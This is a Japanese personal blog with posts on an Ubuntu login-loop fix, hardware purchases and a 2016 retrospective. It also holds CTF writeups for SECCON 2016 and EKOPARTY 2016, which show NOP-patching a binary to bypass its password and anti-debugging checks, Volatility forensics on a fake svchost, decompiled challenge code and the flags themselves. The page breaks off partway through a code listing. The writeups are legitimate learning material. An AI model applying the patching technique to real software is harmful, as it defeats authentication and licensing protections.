yyy

CTFつよくなりたい

Ubuntuにログインできなくなった日

はじめに

題名の通り.今日ふとPCを付けてログインしようとしたら,正しいパスワードを入れて認証されているはずなのに,またログイン画面に戻される.(Xが再起動している?)

環境

Distributor ID:  Ubuntu
Description:    Ubuntu 15.04
Release:    15.04
Codename:   vivid

心当たりが全くなかったので,ググる

原因

.profileに書いていた,exec /bin/zshが問題だったっぽい.

今はログインシェルをzshにしているんだけど,確かログインシェルをbashにして,子プロセスとしてzshを起動するみたいなことをやっていた時の名残・・・

やったこと

最初は,

poppycompass.hatenablog.jp

を見て,ICEauthorityXauthorityを削除して再起動していたんだけど,解決しなかった.

別の問題だろうと思い,また探していたら全く同じような状態の人を見つけた.

qiita.com

これを参考に,

  1. Ctrl + Alt + F1CUIに入る.

  2. 今はもうログインシェルがzshなので.profileに書いてあるexec /bin/zshを消す

  3. Alt + F7GUI

としたら治った.

でもなんで今さらログインがループするようになったかが謎すぎる.

そもそも.profile自体が

wa3.i-3-i.info

とかにも書かれている通り,ログインシェルがbashの時のみ読み込まれると思っていた.

.profileに関して

謎が深まるばかりなので,試しに.profileにecho $SHELL > /home/yyy/testなどとして,何が書き込まれるのか見てみた.

rebootして,testの中身を見てみると

/usr/bin/zsh

zshから読み込まれてるやんけ!

ログインシェルをfishとかに変えてもう一度試してみる.

/usr/bin/fish

.profileの先頭にも

# ~/.profile: executed by the command interpreter for login shells.

と書かれている通り,bashと限定されてはいなかった.

よって,ログインシェルがbashじゃない場合も読み込まれる時はある?

いつの間にか.profileの話になってしまった.




ThinkPadが早く届いて欲しい・・・

ノートPCのメモリを増設した

はじめに

メモリ増設した.

理由は,自分が普段ブラウザのタブめっちゃ開く人間だったり,その他にもいろいろあって,時々PCの動作が重くなる時があって,使用量とか見てみると”枯渇してるやんけ!!”なんてことがよくあったから.

あとは,VAIO Zを買おうと思っていたんだけど,少しはお金出してやるとか言っていた親父が,「彼女を家に連れてきたら買ってやるよ」とか言い出して,そんなの無理なのでもうしばらく今のPCで頑張らなきゃならなくなったため.

で,スロットの空きあんのかなとか思って裏側をパカッと開けてみてみたら,4GBx1しかなくて残り1スロット空いてて,いけるやんってことで.

買ったもの

当初は,4GBを買って合計8GBにするつもりだったんだけど,値段見てみると4GBと8GBとそんなに変わらんなと思ったので,8GBを購入.楽天カード作った時のポイントとか,元々のAmazonのポイントとか使って2千円いかないぐらいで買えたので最高.

取り付け

画像を垂れ流す.

f:id:ywkw1717:20170127001929j:plain

開封

f:id:ywkw1717:20170127001949j:plain

メモリがある部分をパカッと開ける

f:id:ywkw1717:20170127002037j:plain

カチッといい感じにハマればOK

f:id:ywkw1717:20170127002118j:plain

BIOS(増設前)

f:id:ywkw1717:20170127002158j:plain

BIOS(増設後)

f:id:ywkw1717:20170127002217j:plain

まとめ

取り付けなんて1分もかからずに終わるし,素人でも絶対できると思う.

合計12GB(正直こんなにいらなそう)になって快適.

メモリ自体が対応していない場合もあるので,元々搭載しているメモリの型番とかを参考に同じものを買うのが良いと思う.

キーボード買った

はじめに

あけましておめでとうございます.

初日の出が見れなかった2017年です.

きっかけ

大晦日, とりあえず家にはいたくないなぁと思っていて, 最初は図書館で本読むつもりだった.

しかし図書館がやっていないことがわかり, どうするかと散々悩んだ結果, 秋葉原にキーボードを買いに行くことにした.

キーボード自体はずっと前から欲しいやつがあって, 某大学バイトの給料が入り次第買うつもりでいた.

けど今年度のバイト代はだいぶ遅くなるらしいし, 今買っちゃえ!!って感じで.

買ったもの

秋葉原

こんなに外国人の割合多かったっけ…?ってぐらい外国人が多かった. (大晦日だったからかな)

どこ行くかなぁと思って, そんな希少なキーボードじゃないし東京ならどこでもあるやろって思い, とりあえずソフマップ



置いてない


メカニカルキーボードもそうじゃないのもそこそこあるって感じだったんだけど, 置いてなかった.

東京はなんでもあるやろってイメージだったので, これはちゃんと調べないとって思い, ここで調べ始める.

参考にしたサイト.

店頭展示キーボード数まとめ(秋葉原編) | K4750.net

ヨドバシ Akibaに置いてある数が圧倒的だったので行くことに.



置いてない


まず探してたFILCO自体が少なかったし, ゲーミングキーボードは多かったけど, んーイマイチって感じだった.

次!ってことでツクモ eX. パソコン館へ.



ここが天国だった


メカニカルじゃないキーボードとか置かねぇよぐらいの勢いで, 数はそこまで多くないんだけどいろんな種類があった. マニアックな人?向けな印象を受けた.

探してたキーボードも見つけたので即購入.

実を言うと直前で黒軸茶軸で迷っていた.

黒軸, 反発力強いから高速タイピング向けってのはわかるんだけど, どうも反発が強くて疲れそうで自分には合わないなと思って茶軸を購入. (宗教戦争起こす気はない)

帰り際に東プレのRealforceのこれ↓触ったけど, めっちゃ良かった…

価格.com - 東プレ Realforce87UB-55 SE18T0 [黒] 価格比較

感想

今までLogicoolメンブレンのやつ使ってて, メカニカルキーボード, 言うほど良いのか?とか思ってたけど, 世界が変わった.

打ち心地最高だし, 打鍵音も気持ちが良い.

ずっと打っていたい, そんな感じ.

注意点

自分の環境(Ubuntu15.04)だと以下のちょっとした設定が必要だった. (最初, JIS配列としか認識されなかった)

  1. 右上の設定アイコンから, システム設定
  2. キーボード
  3. 左下にある"テキスト入力"
  4. 使用する入力ソースに"英語(US)“を追加


ノートpcで使う場合, 元々搭載してるのはJIS配列なので切り替えとか面倒っぽくて, うーんという感じ.

悩ましい.

2016年を振り返る

2016年が終わる

年末だし, 1年の振り返りとかブログに投稿される時期. 自分も書こうと思う.

どう書くか迷ったけど, 携帯の画像欄を見ながら書く.

1月

新年一発目に撮った画像ってなんだろうなぁと思って見返したら, 悲しくなるやつだった.

2016年, 一番最初に印象に残っていることとしてはやっぱり成人式.

自分は仮面浪人を経験しているので, 同期より1年早い成人式を迎えた.

成人式

うおおお久々のスーツだ!って舞い上がっていた時の画像.

大人とか程遠いと思っていたのに, 気づけばいつの間にか自分も成人. 時間が経つのが早い.

中学卒業以来に会う人もいたりして, めっちゃ楽しかった.

年末, 地元で中学の友人たちと忘年会があるので楽しみ.

あとは, 浪人していた友人が「浪人していたこと, 一緒に周りに打ち明けようぜ!!!!」とか酔った勢いで言い出して暴露していたので, 自分もtwitterで「成人式楽しかったああああ, うわああああ」みたいなツイートした覚えがある.

会津に帰ってきて一番に, 向かいに住む友人に打ち明けた. (入学時に2人には言ったんだけど, 他は言うタイミングがなかったというか, 言えないでいた)

自分「実は・・・前まで別の大学いたりして, その・・・年が一個上なんだよね・・・」

友人「え!!!!????なんで言ってくれなかったんwwww」

みたいな会話してた.

2月

SNS恋愛事件

くそ思い出したくない話なんだけど, 2月〜5月にSNStwitter)で知り合った女の子といろいろあった.その始まりとなった時期.

めっちゃしんどかった.

これについてはもう自分の中で整理はついているしこんなところで詳しく書くつもりもないけど, 自分と相手, 双方に非はあったと思う.

この件から得た教訓としては

1. もっとその人の本質, 本当の性格を見抜くことが大事だということ.

2. 自分の思い込みで行動しない

1. めちゃくちゃ優しくしてくれる女の子だとしても, それは好きな人用に作られた性格(女の子自身も知らず知らず作り出している)かもしれない.

その子の本当の性格を知らないと, いつか関係が破綻する.

これは自分にも言えることで, 相手によく見られようとして無理をしていた部分があった.

2. ちゃんと話し合っていたつもりだったけど, 自分の思い込みで行動していた部分が多少あった.

この経験が将来役に立ち, 無駄ではなかったと思える日が来ることを願いたい.

3月

初めてハッカソンに参加

バイト先で毎年開催されているハッカソン, 今年は IoT x Security Hackathon となって開催されて, 自分はアプリ部門で参加した.

ブレストとかほとんどしたことなかったし, チームで泊まり込みで開発ってのも初めてで新鮮だった.

4月

男9人でディズニーシー

最悪で最高のディズニーシー.

生まれて一度も行ったことがなかったディズニーシーに, 男9人で行った.

・最高

ビアカクテル美味すぎた.

男9人だったので細かいことは気にしないで単純に楽しめた.

・最悪

38度の熱があった. 行くか行かないか家で迷っていると, 友人からあることを聞いた.

どうやら病人を看護してくれる場所があるらしくて, そこのお姉さんに看病されるのが最高だったということ.

それ目当てで行くことを決めたわけではないんだけど, 最悪館内を回れなくなったらそれもそれで有りか, ということで行った.

アトラクション乗る毎にエチケット袋を用意してた.

ラスボスのタワーオブテラーは病人にとって強敵だったけど, 度重なる幾多の試練を乗り越えて一度も吐かずに生還した.

というか, アトラクション乗る毎に熱が下がっていってて(しっかりと薬は飲んでいたのでそのせい)アトラクション療法みたいな感じだった.

人間, 意外とつよい.

基本情報処理技術者試験

いつ申し込んだか忘れたんだけど, たぶん1月か2月.

2月に期末テストが終わってから参考書買って勉強してた.

大学入ってからプログラミング始めた勢なので, とりあえずiパスとか思っていたんだけど, id:ktr_0731と一緒に申し込みにいった時に「iパスは簡単だから基本情報受けたほうがいい」と言われて基本情報にチェンジした. (この選択は後に正解で, 感謝)

だけど習慣化することが苦手な自分は, 2月下旬に帰省してから遊び放題遊んで一切勉強しなくなる.

3月上旬に会津に帰ってきて, とりあえず参考書一周!とか思って始めるも上述のハッカソンだったり他の事だったりで, 完全に言い訳なんだけど勉強が進まなかった.

確か, 一周終わったのが前々日ぐらい. とりあえず終了ってことで友人の家で開催された誕生日パーティーに参加した.

この時初めて, お酒を飲み過ぎて吐くということを経験した. 自分の限界は知ることができた.

で, 結局過去問も前年度の午前問題しか解かずに会場へ.

「午前突破ぐらいでいいや・・・」とかいう弱気で望むも, 意外と解ける.

結果を言うとギリギリで受かっていて, 意外となんとかなる.

id:ktr_0731も応用情報受かっていて, よっしゃという感じだった.

5月

ふともも写真の世界展

http://www.tgs.jp.net/girlsart2.html

外観ヤバすぎる.

書くかどうか迷った事なんだけど, 好きなものを好きでなにが悪いってことで.

確かtwitterとかで存在を知って, 結構行っている人もいたのでこれを見てきた.

上述のSNS恋愛事件辺りで精神的に疲れていたのか, 行きたくなって行ってきた.

太ももには一種の芸術っぽさを感じる.

変に文章を書き連ねるのもマズイと思うので一言だけ.

太もも良い!!!!

6月

21歳になる

21歳になりました.

友人が祝ってくれて有難い.

焦りを感じる.

ルービックキューブ4x4x4が解けた

買って一週間ぐらい?で解けた.

一回自力で揃えるまでは絶対解法は見ないという条件で.

3x3x3と同じ部分はあって途中までは良いんだけど, 後半が詰まった.

いい感じになるように回していたら揃った.

オムライス

2015年の11月辺りから練習しているオムライス.

普通のではなくて, 包丁で切ってパカってやるやつ.

今までで一番上手くできた.

7月

katagaitai主催 CTF勉強会

東京 秋葉原で開催されたCTF勉強会.

twitterで流れてきて速攻で登録した.

CTFは2015年10月に初めて参加して, それから2016年4月まではほとんど何もやらず.

確か2016年5月頃?に友人達と正式にチームを組んで始めた.

8月

普通免許取得

実は自動車学校に入校したのが1月31日. それからダラダラと通っていてようやく7月下旬に卒業

本試験を合格して免許ゲット.

その後実家にあった車を初心者ながら300kmぐらい運転して会津に帰ってきた. (流石に一人はダメだろってことで父親と一緒に)

大学のサマーキャンプ

インストラクターとして参加して, 触ったことがなかったEclipseでゲーム開発.

最終日前日に徹夜で完成させることになりなかなかしんどかったけど, いい経験になった.

みんないい子達で, 将来優秀なエンジニアになりそう.

バイト代が12月24日現在も支払われておらず, 闇を感じる.

9月

BABYMETALライブ

前にブログにも書いたけど, 最高だった話.

BABYMETAL ライブ

夏休み まとめ - 絵を描くCTFer

またライブ行きたい.

10月

セキュリティスペシャリスト試験

SC廃止

これ, なかなか衝撃でSCが無くなって情報処理安全確保支援士試験とかいうくそダサい名前になるらしくて, これはもう受けるしか無いってことで実力どうこうは考えずに受験した.

結果から言うと, 午前Ⅰであと2, 3問足らなくて落ちた.

午前Ⅱは自己採点では通ってて, 午後の得点みたいなーとか思ってたのに午前Ⅰが通っていない時点で採点されないらしくて見れず.

応用情報持っていたid:ktr_0731は合格していて, 流石!という感じ.

情報処理安全確保支援士試験, 制度がなかなかアレで不満が続出している. (自分も受験したいとは思わない)

SC無いなら高度試験で受けたいものが今のところ無いので, 次行われる2017年春では無難に取得していない応用情報を受験しようと考えてる.

CODE BLUE & AVTOKYO

ywkw1717.hatenablog.com

前書いたので引用.

いろいろな人と交流できたし, とてもいい経験.

11月

ALT

atnd.org

◯亀製麺のQRコード復元について話した.

つよい人達ばかりだった.

サイバー攻撃対策演習・情報セキュリティ講座

研究室面接の時に教授に誘われて参加したやつ.

11月末〜12月頭の5日間みっちりとサイバー攻撃について学んだ.

ここで学んだことはこれから絶対に役に立つ.

12月

SECCON2016 Online

ywkw1717.hatenablog.com

これも前書いたので引用.

やっぱりCTFは最高に楽しい.

財団助成報告会

一年生の時に頂いた給付型の奨学金の報告会.

確か他にも同期で4人ぐらいは採用されているはずで, 学部2年生計5人ぐらいで発表する感じなのかなぁと思っていた.

けど実際に会場に到着してみると自分の他には院生2人しかいなくて, めちゃくちゃ緊張しながら発表してきた.

こういうことを繰り返していくことで, あがり症気味なところが改善されて欲しい.

まとめ

起きた出来事全部!とか書いていると日が暮れるので, 印象深いことをまとめた.

1年の振り返りとか今までほとんど経験無かったけど, そういえばこんなこともあったなと思えるし, 今後のことを考える判断材料になるので良い.

2017年, とりあえず勉強面と恋愛面がいい感じになって欲しい.

SECCON2016 Online 参加記&Writeup

開催期間(JST)

12/10 PM3:00 ~ 12/11 PM3:00

はじめに

大学の中間テストが終わり一段落した(まだ一つ残っているけど)ので, 書いてる.

先週開催されたSECCON2016 Onlineに, 同期の友人達と組んでいるチームであるwabisabiで参加した.

結果は以下の通り.

結果

・チーム名:wabisabi

・得点:400pt

・順位:272/1834

解いた問題

・Anti-Debugging (rev100)

・Memory Analysis (for100)

2問だけWriteup書いても寂しいので, 参加記としていろいろ書く.

開催前

・PM 2:00 起床

前日にバイト先に集まって皆でやろうみたいな話になってた.

・PM 3:05 会場到着 〜 解き始める

シャワー浴びずに寝てしまっていたので, 急いで準備してしていたけど, 遅刻. (申し訳なかった)

さぁ解き始めるぞ!と思いきや,

登録をしていなかったことに気がつく

急いで登録を済ませて, スタート.

最初はrev問が出てなくて, forensicsで解けそうな Memory Analysis があったのでそれに取り掛かる.

与えられたzipファイルはパスワードが必要(60分後には配布されるけど)なので, fcrackzipでブルートフォース.

数字だけで回してみたけどダメで, 次アルファベットで回してた.

(この時点では解けていないので, Writeupは後述)

他に解けそうなやつもなかったので暇だな〜と待っていたところ, 確かPM 3:30辺りでrev問が追加される.

・PM 3:30 Anti-Debugging を解き始める

Anti-Debugging (rev100)

問題文が

Reverse it.

ファイルの詳細.

bin: PE32 executable (console) Intel 80386, for MS Windows

EXEのほうが好きなので, 嬉しかった.

実行してみると

Input password >hoge
password is wrong.

となって, どうやらパスワードチェッカーらしい

IDAで開く.

f:id:ywkw1717:20161217085838p:plain

最初の分岐で正解かどうか判定してるっぽい.

正解ルーチンのほうを見ていくと, ファイル名から推測できる通りアンチデバッギングと思われるものがあった.

f:id:ywkw1717:20161217090134p:plain

どうするかなぁとか思ったけど,

「直接書き換えれば勝ちっしょw」

っていう風にすぐに思って, やってみる.

とりあえず最初の分岐を書き換えて, 間違っているパスワードでも全て正解ルーチンにいくようにする.

書き換える場所.

f:id:ywkw1717:20161217090817p:plain

objdumpでも確認する.

f:id:ywkw1717:20161217090918p:plain

目的箇所のマシン語が特定できたので, vimで書き換えていく.

場所.

f:id:ywkw1717:20161217091418p:plain

nop埋め.

f:id:ywkw1717:20161217091429p:plain

これでどうだろうと思って実行してみる.

Input password >hoge
Your password is correct.

認証を回避できてるけど, flagが出てこない.

もう一度IDAを見てみる.

ここ.

f:id:ywkw1717:20161217091948p:plain

このcheck!ってところをどうやら通っていないっぽかったので, 通るように上のほうの分岐をいじる.

ここを書き換える.

f:id:ywkw1717:20161217092209p:plain

f:id:ywkw1717:20161217092524p:plain

またまたnop埋め.

f:id:ywkw1717:20161217092540p:plain

実行してみると

f:id:ywkw1717:20161217092751p:plain

こんな風にウィンドウがでてきて終わり.

SECCON{check_Ascii85}

PM 4:00 〜 絶頂期

Anti-Debuggingを解き終わって, 自分はMemory Analysisに取り掛かる.

ここからの30分が絶頂期.

チームの暗号担当が Vigenere を解き, もう一人が VoIP を解いたのでこの時点で300pt.

f:id:ywkw1717:20161217093413p:plain

32位とかになっててビビる.

「やべぇよやべぇ!!!」とか騒いでて, チームでは超盛り上がる.

・PM 6:15 〜 バイト先の忘年会へ

結構調子良かったけど, バイト先の忘年会がPM 6:30 〜あったので移動を開始.

PM 6:30 〜 忘年会開始

CTFに響くし, そんな飲みすぎないようにしようと思っていてチョビチョビ飲んでいた.

お酒を飲んでいる間に順位は下がっていってたけど, 気にしない精神で.

先輩に大学院の話を聞けたり, その他普段話さないような人たちとも話せたので良かった.

AM 0:45 〜

飲み過ぎてしまった

頭が痛い

気持ち悪い

元々お酒はめっちゃ弱いので(ビール一杯でキツい), 気をつけてはいたが美味しかったのでだいぶ飲んでしまった.

AM 1:30 〜 頭痛と闘いながら気合のCTF開始

気合があればなんとかなるって誰かが言ってた気がする. 

とにかく再開.

Memory Analysis とひたすら闘う.

忘年会へ行く前にある程度のところまでは解けていて, あともう一歩って感じだった.

Memory Analysis(for100)

問題文

Memory Analysis
Find the website that the fake svchost is accessing.
You can get the flag if you access the website!!

Hint

Hint1: http://www.volatilityfoundation.org/
Hint2: Check the hosts file

偽のsvchostがあるっぽくて, system32ディレクトリ以下に無いsvchostが一つあったのでこれだろうというのはわかった.

こいつがhosts fileを改ざんしたんだろうというところまでは考えていたんだけど,

問題文の

You can get the flag if you access the website!!

これにずっと惑わされていて, hosts file に書いてある"153.127.200.178"にアクセスしてもflag降ってこないやんけ!ってずっと四苦八苦していた.

AM 4:00 〜

会場がお通夜ムードになっていて, みんな解けないし疲れているし苦しんでいた時間帯.

仮眠を取るメンバーもでてきたり, やる人はやっていたりした.

身体も結構キツかったし, 問題も詰まっていたので一旦寝ることにした.

AM 8:30 〜

起床

再開

改めて考察した.

今までの, "偽のsvchostがhosts fileを改ざんして,

153.127.200.178    crattack.tistory.com

を追加した"

ということと, "そのsvchostはsystem32ディレクトリ以下にないやつ"という考察は絶対に間違っていないと思い, では何をすればいいのかと考えた時に, svchostがhosts fileを改ざんしたのは目的があって改ざんしたのだから, svchostがどういう動きをするのか確認すればいいのではないかと思い, そのsvchostを見てみることにした.

volatility -f forensic_100.raw --profile=WinXPSP2x86 filescan |grep host

で, svchostを列挙.

0x0201ef90      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe
0x020f0268      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\svchost.exe
0x0217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
0x024a7a90      1      0 R--rwd \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe

この2つ目が目的のsvchostなので,

volatility -f forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x020f0268 -D OUTDIR --name

こうして, ファイルを取り出す.

ファイルに対して strings してみると

C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

というのが気になった.

IEで, このURLにアクセスしにいっているのがわかる.

もしやと思い

153.127.200.178/entry/Data-Science-import-pandas-as-pd

にアクセスしてみると・・・

Data-Science-import-pandas-as-pdというテキストファイルが降ってきたので見てみると, flagが書かれていた.

SECCON{h3110_w3_h4ve_fun_w4rg4m3}

AM 11:00 〜

他のrev問も出ていたので, Retrospective(rev200)を解いていたけどそのままタイムアップ.

終了のPM 3:00までご飯も食べずにみんなで頑張ってやっていた.

まとめ

集まってやると, モチベがいい感じだし, 詰まった時に気軽に相談できたりして良い. (なにより一人でやる時より楽しい)

SECCON2015 Online の時より, 300位近く上がっているので成長はしていると思う.

来年は2桁目指して頑張っていきたい.

お酒飲み過ぎ良くない.

画像のバイナリを読んでみた話

この記事は Aizu Advent Calendar 2016 13日目の記事です。

前の人は、@je_je_laさん、次の人は@kobadさんです。

はじめに

SECCON2016お疲れ様でしたって感じで、SECCONが終わったばかりなのでそのWriteupを載せてもいいかなとか少し考えていたのですが、2問しか解いていないのでやめました。

元々ALTで話したQRコードの復元について書くつもりでいたのですが、計算ミスしているのか完全復元ができていない状態なので、他になにかないかなーと思っていたところ、ふと思い浮かんだのが「画像のバイナリを読む」っていうやつ。

読んでみた形式

PNG

BMP

用意した画像

上の2つの形式でそれぞれ100 x 100ピクセル、一面真っ白な画像。

PNG

とりあえず開いてみる。

vim -b white.png

f:id:ywkw1717:20161213043231p:plain

vimバイナリモードで開いた状態。

このままでは流石に読めないので、%!xxdで16進ダンプする。

f:id:ywkw1717:20161213043319p:plain

これなら読める

早速読んでいく。

"8950 4e47 0d0a 1a0a" の部分がシグネチャ

"0000 000d" がIHDRチャンクのlength(13bytes)

"4948 4452" IHDRであることを示すChunk Type

"0000 0064 0000 0064 0806 0000 00" がdata部分

"70 e295 54" がIHDRチャンクのCRC

"00 0000 06" がlength(6bytes)(6は、カラータイプがトゥルーカラーであることを表している)

"62 4b47 44" がbKGDチャンク(背景色、設置は任意、複数の設置はダメ、場所はPLTEの後、IDATの前)であることを示すChunk Type

"00 ff00 ff00 ff" がdata部分 (背景として使われるRGBカラーが示されていて、それぞれ左から2bytesずつR,G,Bの値)

"a0 bda7 93" がbKGDチャンクのCRC

"00 0000 09" length(9bytes)(常に9)

"70 4859 73" pHYsチャンク(物理的なピクセル寸法を示す、設置は任意、複数はダメ、場所はIDATの前)

"00 000b 11" X軸上の単位あたりのピクセル

"00 000b 11" Y軸上の単位あたりのピクセル

"01" 単位指示子(1の場合はメートル)

"7f64 5f91" がpHYsチャンクのCRC

"0000 0007" length(7bytes)(常に7)

"7449 4d45" tIMEチャンク(イメージの最終更新時間、設置は任意、複数はダメ、場所はIHDRとIENDの間ならどこでもよい)

"07e0" 年 (2016)

"0c" 月 (12)

"09" 日 (9)

"0d" 時 (13)

"03" 分 (3)

"11" 秒 (17)

"2b 2df3 cb" tIMEチャンクのCRC

"00 0000 a2" length(162bytes)

"49 4441 54" IDATチャンク

"78 daed d101 0d00 0008 c330 c0bf e763 8390 4ec2 da49 523a d358 0044 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0404 8880 0808 1001 0122 20df 5b08 6004 c4be f58b 07" data部分

"00 0000 00" length(0byte)

"49 454e 44" IENDチャンク(場所は一番最後)

"ae 4260 82" CRC

シグネチャと3つの必須チャンクで構成すれば、それがPNG画像の最小構成になるのですが、用意した画像にはどうやら"bKGDチャンク"と"pHYsチャンク"、"tIMEチャンク"が含まれていたようです。

BMP

vim -b white.bmp

f:id:ywkw1717:20161213043844p:plain

16進ダンプ。

f:id:ywkw1717:20161213044012p:plain

ここまではPNGと一緒です。

なにか違うことをやってみたいと思います。

BMPPNGと違って無圧縮です。

よって、このバイナリをビットマップ表示させればそのまま表示できるはずです。

しかし・・・他のバイナリエディタであればこのような機能を実装している場合があるのですが、できれば使い慣れたVimを使いたい・・・!

でもVimテキストエディタ・・・そんなことができたらいいなと夢見つつ・・・呼んでみましょう

暗黒美夢王さん、タスケテー

github.com

vinariseドーーーーーーン!!!!

なんと、ビットマップ機能が付いたバイナリエディタプラグインが既に作られていたらしいです。

有り難や・・・と感謝しつつ、早速

:Vinarise

からの B でビットマップ表示。

f:id:ywkw1717:20161213043019p:plain

素晴らしいですね。

ファイルヘッダや情報ヘッダ部分以外を抜きにして、しっかりと白くビットマップ表示されています。

試しに、用意していた黒い画像のほうも。

vim -b black.bmp
:Vinarise
B

f:id:ywkw1717:20161213045507p:plain

しっかりと黒く表示されています。

休憩はこのくらいにして、本題に戻ります。

先ほどの16進ダンプした結果である、

f:id:ywkw1717:20161213044012p:plain

このバイナリを読んでいきます。

ファイルヘッダ(14bytes)

"424d" BMというビットマップのシグネチャ(2bytes)

"aa75 0000" ファイルサイズ(リトルエンディアンなので、30122bytes)

"0000" 予約1(将来の拡張用に予約されている)(2bytes)

"0000" 予約2(2bytes)

"7a00 0000" イメージデータオフセット(BMPファイルの最初からイメージデータの先頭までのバイト単位でのオフセット)(4bytes)(122)

情報ヘッダ

"6c00 0000" ヘッダサイズが108なので、V4かV5タイプ(INFOタイプを拡張した情報ヘッダ形式)(108)

"6400 0000" 幅(100)

"6400 0000" 高さ(100)

"0100" プレーン数(常に1)

"1800" ピクセルごとのビット数(1画素辺りのデータサイズ)(ex. 256色BMP = 8)

"0000 0000" 圧縮タイプ

"3075 0000" イメージデータサイズ(画像データ部のサイズ)(30000)

"120b 0000" 水平解像度

"120b 0000" 垂直解像度

"0000 0000" カラーインデックス数(格納されているパレット数、使用している色の数)

"0000 0000" 重要インデックス数(重要なパレットのインデックス)

"4247 5273" 色空間のタイプ(sRGBがリトルエンディアンで格納されて、BGRs)

・・・・・・・

7aからデータ部分が始まる。

画像データは左下から右上に向かって記録されています。

よって、最初の数バイトを0で埋めて書き換えたりすると、当然左下の数バイトが黒くなったりします。

f:id:ywkw1717:20161213050326p:plain

まとめ

JPGも資料見てみたりしたら、マーカーとかで区切られていて、さらに複数のセグメントで構成されているらしく(必須のセグメントもあるらしい)PNGのチャンクっぽいとか思った。

個人的には一番PNGが読みやすいなと感じた。

バイナリを読んでいるとき、「あっ、こんな風に格納されているのか・・・」と感動する時がある。

楽しい。

参照

http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550

http://www.setsuki.com/hsp/ext/png.htm

https://www.ruche-home.net/program/bmp/struct#info-header-v4-compression

EKOPARTY CTF 2016 Writeup (デコンパイルパンチカードCTF)

開催期間(JST)

10/27 AM5:00 ~ 10/29 AM5:00

結果

・チーム名:wabisabi

・得点:500pt

・順位:209/721

解いた問題

JVM(rev25)

・F#ck(rev50)

・RrEeGgEeXx(rev75)

・Ultra baby(pwn25)

175pt

途中まで解いた問題

・Alice secret message(for175)

・Old but gold(misc250)

Writeup

JVM(rev25)

「EKO.class」というJavaのクラスファイルが与えられるので, とりあえず実行してみるも何も表示されない.

jd-guiを使ってデコンパイルしてみると, 次のようなソースコード.

public class EKO
{
  public static void main(String[] paramArrayOfString)
  {
    int i = 0;
    for (int j = 0; j < 1337; j++) {
      i += j;
    }

    String str = "EKO{" + i + "}";
  }
}

最後ら辺に、

System.out.println(str);

とかを付け足して, 結果を出力するように変えて, コンパイルして実行.

EKO{893116}

F#ck(rev50)

「FlagGenerator.exe」というファイルが与えられるので実行してみるも, 確か何かのエラーをはかれて実行できなかった.

ILSpyを使ってデコンパイルしてみる.

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.get_InputMustBeNonNegativeString(), "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string text2 = text;
                fSharpFunc.Invoke(text2);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

c#のコードにデコンパイルできたので, 読んでいく.

t#hs_siht_kc#f

14文字

num2 = 0
num3 = 13

array2はstring型の配列?でnum分確保されている


array2[0] = fSharpFunc.Invoke(0)
num2++


strはサロゲート文字ではないから、たぶん↓
array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
FSharpFunc<int, string> fSharpFunc = new Program.teArr@9("t#hs_siht_kc#f",array)

this.str = "t#hs_siht_kc#f"
this.ccIndices = array

iが13になったらif文
this.ccIndices.Length - 1 = 13

return this.str.Substring(0, 1-0) つまり "t"

array2 = ["t", 

num2 == 1
1文字目から1文字取得

...................


array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c"
num2 == 12

num2 == 13
return "f"

array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c", "f"]

reverse

f#ck_this_sh#t

こんな感じで解いてる時にメモを残していたけど, 結局は途中で与えられているt#hs_siht_kc#fと言う文字列を逆順にしたものが答え.

EKO{f#ck_this_sh#t}

RrEeGgEeXx(rev75)

問題名から, 正規表現を扱う問題っぽい. (表記の仕方かっけぇ)

「RegexAuth.exe」というファイルが与えられる.

実行してみると

EKO AUTH CHECKER
----------------
Password:

とか, パスワードを求められる.

正しくないと

IMPOSTOR

これも, ILSpyでデコンパイルしてみる.

using System;
using System.Text.RegularExpressions;

namespace RegexAuth
{
